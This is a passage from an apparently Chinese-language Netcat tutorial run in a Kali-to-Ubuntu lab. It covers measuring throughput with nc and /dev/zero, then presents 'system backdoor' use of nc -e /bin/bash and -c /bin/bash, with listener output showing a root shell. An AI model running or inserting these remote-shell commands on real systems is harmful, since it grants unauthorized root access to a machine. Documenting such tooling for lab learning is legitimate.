最简单的方法,GNU 版本的 Netcat 加上 -v -v 参数后,结束时会统计接收和发送多少字节,那么此时 A 主机上显示运行 GNU 版本的 nc 监听端口:
1 2 3 4 5
root at kali in ~ $ nc -lvvnp 8080 listening on [any] 8080 ... connect to [10.10.8.20] from (UNKNOWN) [10.10.8.128] 57496 ^B sent 0, rcvd 950812672
加 n 的意思是不要解析域名,避免解析域名浪费时间造成统计误差,然后在 Ubuntu 上:
1 2 3 4 5
root@ctfd:~# time nc -n 10.10.8.20 8080 < /dev/zero
real 0m15.346s user 0m0.000s sys 0m1.449s
回车后执行十秒钟按 CTRL+C 结束,然后在 Kali 那里就可以看到接收了多少字节了,此时根据 time 的时间自己做一下除法即可得知。
注:GNU 的 Netcat 统计的数值是 32 位 int,如果传输太多就回环溢出成负数了。
系统后门(-e/-c)
假设你用串口登录到 Ubuntu 主机,上面十分原始,包管理系统都没有,sshd/telnetd 都跑不起来,这时候你想用 Kali 通过网络登录 Ubuntu 有没有办法?
GNU 版本的 Netcat 有一个 -e 参数,可以在连接建立的时候执行一个程序,并把它的标准输入输出重定向到网络连接上来,于是我们可以在 Kali 上 -e /bin/bash:
1 2
root at kali in ~ $ nc 10.10.8.128 4444 -e /bin/bash
在 Ubuntu 上照常监听:
1 2 3 4 5
root@ctfd:~# nc -lvvp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 10.10.8.20 56922 received! id uid=0(root) gid=0(root) groups=0(root)
你就可以在 Ubuntu 上登录 Kali 的 Shell 了。
同理也可以使用 -c 参数:
1 2
root at kali in ~ $ nc -c /bin/bash 10.10.8.128 4444
root at kali in ~ $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.128: inverse host lookup failed: Unknown host connect to [10.10.8.20] from (UNKNOWN) [10.10.8.128] 42092 id
root at kali in ~ $ nc -lvvp 5555 listening on [any] 5555 ... 10.10.8.128: inverse host lookup failed: Unknown host connect to [10.10.8.20] from (UNKNOWN) [10.10.8.128] 38172 uid=0(root) gid=0(root) groups=0(root)
root at kali in ~ $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.128: inverse host lookup failed: Unknown host connect to [10.10.8.20] from (UNKNOWN) [10.10.8.128] 47468 root@ctfd:~#